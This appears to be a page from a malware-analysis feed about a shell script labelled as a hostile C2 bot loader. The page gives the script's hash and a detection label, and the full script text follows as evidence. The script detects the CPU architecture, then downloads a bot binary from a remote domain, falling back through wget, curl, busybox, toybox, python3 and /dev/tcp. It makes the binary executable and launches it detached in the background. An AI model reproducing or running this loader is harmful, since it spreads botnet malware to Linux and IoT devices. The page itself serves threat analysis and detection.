Hostile 92% linux Download

toto.sh

C2 bot loader

Multi-architecture protocol fallback executionAArch64 (ARM64) architecture string
SHA-2562601a60c34ceef5e7712b62132e8c4af110400c4a8ffad229724b4a72c9b2ee1

Evidence

BusyBox wget applet invocation lines 1–34
1#!/bin/sh
2# apex4 loader - arch-detect, multi-method download, run apex4 bot (C2 31).
3B=wemqmewkqewq.work.gd
4TAG=toto
5cd /tmp 2>/dev/null || cd /dev/shm 2>/dev/null || cd /var/tmp 2>/dev/null || cd /var/run 2>/dev/null || cd / 2>/dev/null || exit 1
6M=$(uname -m)
7case "$M" in
8 x86_64|amd64) A=x86_64 ;;
9 i386|i486|i586|i686) A=x86 ;;
10 aarch64|arm64|armv8*) A=aarch64 ;;
11 armv7*) A=armv7l ;;
12 armv6*) A=armv7l ;;
13 armv5*) A=armv7l ;;
14 armv4*) A=armv7l ;;
15 mips64*) A=mips ;;
16 mips) A=mips ;;
17 mipsel) A=mipsel ;;
18 m68k) A=m68k ;;
19 ppc*|powerpc*) A=powerpc ;;
20 sh4|sh) A=sh4 ;;
21 *) A=x86_64 ;;
22esac
23rm -f q
24U="http://$B/$A"
25if command -v wget >/dev/null 2>&1; then wget -q -O q "$U" 2>/dev/null; fi
26[ -s q ] || { command -v curl >/dev/null 2>&1 && curl -skLo q "$U" 2>/dev/null; }
27[ -s q ] || { command -v busybox >/dev/null 2>&1 && busybox wget -q -O q "$U" 2>/dev/null; }
28[ -s q ] || { command -v toybox >/dev/null 2>&1 && toybox wget -O q "$U" 2>/dev/null; }
29[ -s q ] || { command -v python3 >/dev/null 2>&1 && python3 -c "import urllib.request as u,sys;u.urlretrieve(sys.argv[1],sys.argv[2])" "$U" q 2>/dev/null; }
30[ -s q ] || { (cat < /dev/tcp/$B/80 > q) 2>/dev/null; }
31[ -s q ] || exit 1
32chmod 777 q 2>/dev/null
33(setsid ./q "$TAG" >/dev/null 2>&1 </dev/null &) || (nohup ./q "$TAG" >/dev/null 2>&1 &) || ./q "$TAG" >/dev/null 2>&1 &
34exit 0

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.